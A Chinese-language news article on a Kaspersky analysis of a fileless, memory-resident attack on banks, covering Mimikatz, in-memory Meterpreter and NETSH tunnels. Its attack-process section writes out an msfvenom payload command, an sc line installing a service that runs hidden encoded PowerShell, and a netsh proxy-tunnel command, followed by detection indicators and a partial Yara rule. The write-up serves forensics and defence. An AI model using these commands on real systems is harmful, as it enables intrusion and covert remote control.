导语:最近几天,超过140家美国、南美、欧洲和非洲的银行、通讯企业和政府机构感染了一种几乎无法被检测到的极为复杂的无文件恶意程序,搞得大家异常紧张,似乎碰到了什么神秘攻击。
最近几天,超过140家美国、南美、欧洲和非洲的银行、通讯企业和政府机构感染了一种几乎无法被检测到的极为复杂的无文件恶意程序,搞得大家异常紧张,似乎碰到了什么神秘攻击。今天就让我们跟随安全专家的脚步来一探究竟。
其实这种类型的感染并不是第一次出现,几年前卡巴斯基就曾在自己企业内部网络中发现了这种在当时前所未有的恶意程序,并将其称为Duqu 2.0。Duqu 2.0的来源则被认为是震网,是当时美国与以色列为了破坏伊朗核计划专门合作创建的一种极为复杂的电脑蠕虫。
在本次事件的分析过程中,卡巴斯基安全专家团队通过跟踪攻击者留在日志,存储器和硬盘驱动器中的痕迹来进行分析,不过不幸的是,分析并不是很顺利,这些存储在日志,存储器和硬盘驱动器中的痕迹每一个都具有有限的时间帧。如果一个被攻击的计算机重新启动的话,那所有的攻击痕迹就会消失。
这种恶意程序只存在于被感染设备的内存中,很难被检测出来,并且能在系统中隐藏6个月以上。
卡巴斯基实验室首席安全研究员Sergey Golovanov表示:
现在的攻击者会尽量隐藏自己的攻击行为,让攻击检测和事故响应变得更为困难。这正是反取证技术和基于内存的恶意软件的最新趋势。所以,内存取证对于分析恶意软件及其功能非常重要。在这次攻击事件中,攻击者使用了所有可用的反取证技术,显示了网络罪犯可以不使用恶意软件文件,就可以从网络中成功窃取数据,并且利用合法和开源工具进行攻击,让攻击定性变得几乎不可能。
幸运的是,卡巴斯基实验室的安全专家曾在Duqu 2.0的分析过程中实现过类似的分析。在删除硬盘驱动器并启动其恶意的MSI软件包之后,Duqu 2.0会从文件重命名的硬盘驱动器中删除该软件包,并将其自身的一部分留在内存中。这就是为什么取证会对这种类似的恶意软件及其功能的分析至关重要,另外这种攻击的另一个重要部分是攻击者将在网络中安装的代理通道。网络犯罪分子(如Carbanak或GCMAN)可能使用PLINK。 Duqu2中就使用了一个特殊的驱动程序。
现在,您可能会理解为什么这种“无文件”恶意程序攻击会到现在才发现了吧!
在“无文件”恶意程序攻击事件的分析中,卡巴斯基安全专家发现基于内存的恶意软件和代理通道是攻击者使用Windows标准实用程序如“SC”和“NETSH”实现的。
本次攻击最初是由一家银行的安全团队在域控制器(Domain Controller)的物理内存中检测到Meterpreter代码后发现的。
攻击过程
卡巴斯基实验室经过取证分析把这些具有威胁的代码成为MEM:Trojan.Win32.Cometer和MEM:Trojan.Win32.Metasploit,进过深入分析,攻击者的攻击步骤如下:
攻击者利用已知漏洞的利用工具来入侵目标组织的服务器,在获得访问权之后就利用Mimikatz来获取系统的身份凭证——这样才能完成进一步的提权,也是后续攻击必须的。
然后再用PowerShell脚本、Meterpreter和Windows工具Sc在内存中部署恶意代码。目前我们知道会用如下脚本来生成Metasploit框架。脚本会分配内存并将WinAPIs和下载的Meterpreter直接解析到RAM。
另外攻击者还会利用微软的NETSH (Network Shell是windows系统本身提供的功能强大的网络配置命令行工具)网络工具设置了一个代理通道,与C&C服务器通信并远程控制被感染的主机。
卡巴斯基的专家发现这段代码是入侵者利用Windows PowerShell将Meterpreter代码注入内存,而并未将其写入磁盘。
Meterpreter是一种可注入运行程序的内存攻击payload,它可以在在被感染的系统中造成持续破坏。Meterpreter是Metasploit渗透测试框架的一部分,Metasploit在安全团队或恶意入侵者中都是十分流行的工具。
这些脚本可以通过使用Metasploit 的Msfvenom使用以下命令行选项生成:
msfvenom -p windows / meterpreter / bind_hidden_tcp AHOST = 10.10.1.11 -f psh-cmd
在成功生成脚本后,攻击者就会使用SC在目标主机上安装恶意服务(执行上一个脚本)。这可以例如使用以下命令来完成:
sc \\ target_name create ATITscUA binpath =“C:\ Windows \ system32 \ cmd.exe / b / c start / b / min powershell.exe -nop -w hidden e aQBmACgAWwBJAG4AdABQAHQA ...”start = manual
安装恶意服务后的下一步就是设置代理通道以从远程主机访问受感染的计算机,例如使用以下命令:
netsh interface portproxy add v4tov4 listenport = 4444 connectaddress = 10.10.1.12 connectport = 8080 listenaddress = 0.0.0.0
这将导致从10.10.1.11:4444的所有网络流量被转发到10.10.1.12:8080。这种设置代理通道的技术将为攻击者提供从远程Internet主机控制任何受PowerShell感染的主机的能力。
使用“SC”和“NETSH”实用程序需要本地和远程主机的管理员权限。使用恶意PowerShell脚本还需要权限升级和执行策略更改。为了实现这一点,攻击者使用由Mimikatz抓取的具有管理权限(例如备份,远程任务调度程序的服务等)的服务帐户的凭据。
对来自受影响设备的内存转储和Windows注册表的分析允许安全专家们还原Meterpreter和Mimikatz。这些工具用于收集系统管理员的密码和受感染主机的远程管理。
为了从内存转储中获取攻击者使用的PowerShell负载,安全专家们使用了以下BASH命令:
cat mal_powershell.ps1_4 | cut -f12 -d“”| base64 -di | cut -f8 -d \'| base64 -di | zcat - | cut -f2 -d \(| cut -f2 -d \“| less | grep \ / | base64 -di | hd
导致以下有效载荷:
使用卡巴斯基的安全检测,安全专家们发现在注册表中有100多个企业网络感染了恶意PowerShell脚本。这些被检测出来的脚本为Trojan.Multi.GenAutorunReg.c和HEUR:Trojan.Multi.Powecod.a。
目前的官方数据显示成为目标的银行和企业至少有140家,但是鉴于这种恶意程序极难被发现的特性,潜在受害者数量可能远高于这个数字。
然而目前还无法确定在这个恶意程序背后的究竟是一个黑客、一个组织或很多组织?
结论
在对受攻击的银行的分析中,安全专家们了解到攻击者在.GA,.ML,.CF ccTLD中使用了几个第三级域和站点。攻击者使用这样域的用途是,这些域在一定的时效后会缺少WHOIS信息(用来查询域名的IP以及所有者等信息的传输协议)。鉴于攻击者使用Metasploit框架,标准Windows实用程序和未知域,没有WHOIS信息,想要留下痕迹几乎是不可能的。
类似于像本次这样的“无文件”恶意程序攻击的反取证技术和基于内存的恶意软件技术将来会变得越来越普遍,特别是针对银行业的攻击。可不幸的是,目前还没有什么检测工具来对这样的攻击进行检测。
目前,这种攻击可能会存在于RAM,网络和注册表中。请检查附录1 的 “妥协指标”部分,了解有关如何检测与PowerShell攻击相关的恶意活动的更多详细信息。
成功注入后,攻击者会更改所有密码。这种攻击表明攻击者使用了所有可用的反取证技术,显示了网络罪犯可以不使用恶意软件文件,就可以从网络中成功窃取数据,并且利用合法和开源工具进行攻击,让攻击定性变得几乎不可能。
卡巴斯基实验室的产品能够成功检测使用上述攻击策略和技巧实施的攻击行动。更多有关这次攻击的详情以及取证分析Yara规则详情,请参阅Seurelist.com上的相关博文。卡巴斯基情报服务客户还可以获取更多关于这次攻击的技术详情以及感染痕迹等内容。
这些攻击及其目标的进一步细节将于2017年4月2日至6日在圣马丁举行的安全分析员首脑会议上披露。
附录I
要查找攻击者使用的远程连接和密码收集所描述的技术使用的主机,应分析Windows注册表中的以下路径:
HKLM \ SYSTEM \ ControlSet001 \ services \ – 路径将在使用SC实用程序后修改
HKLM \ SYSTEM \ ControlSet001 \ services \ PortProxy \ v4tov4 \ tcp – 路径将在使用NETSH实用程序后修改,在Windows注册表中的未分配空间中,可能会找到以下文件:
powershell.exe -nop -w hidden -e 10.10.1.12/8080 10.10.1.11/4444
请注意,这些IP是从卡巴斯基实验室参与的IR案例中获取的,因此可能存在其他IP。这些文件还表明攻击者使用PowerShell脚本作为恶意服务和使用NETSH构建代理通道。
MEM:Trojan.Win32.Cometer MEM:Trojan.Win32.Metasploit Trojan.Multi.GenAutorunReg.c HEUR:Trojan.Multi.Powecod
附录二 – 雅拉规则
rule msf_or_tunnel_in_registry { strings: $port_number_in_registry = “/4444” $hidden_powershell_in_registry = “powershell.exe -nop -w hidden” wide condition: uint32(0)==0x66676572 and any of them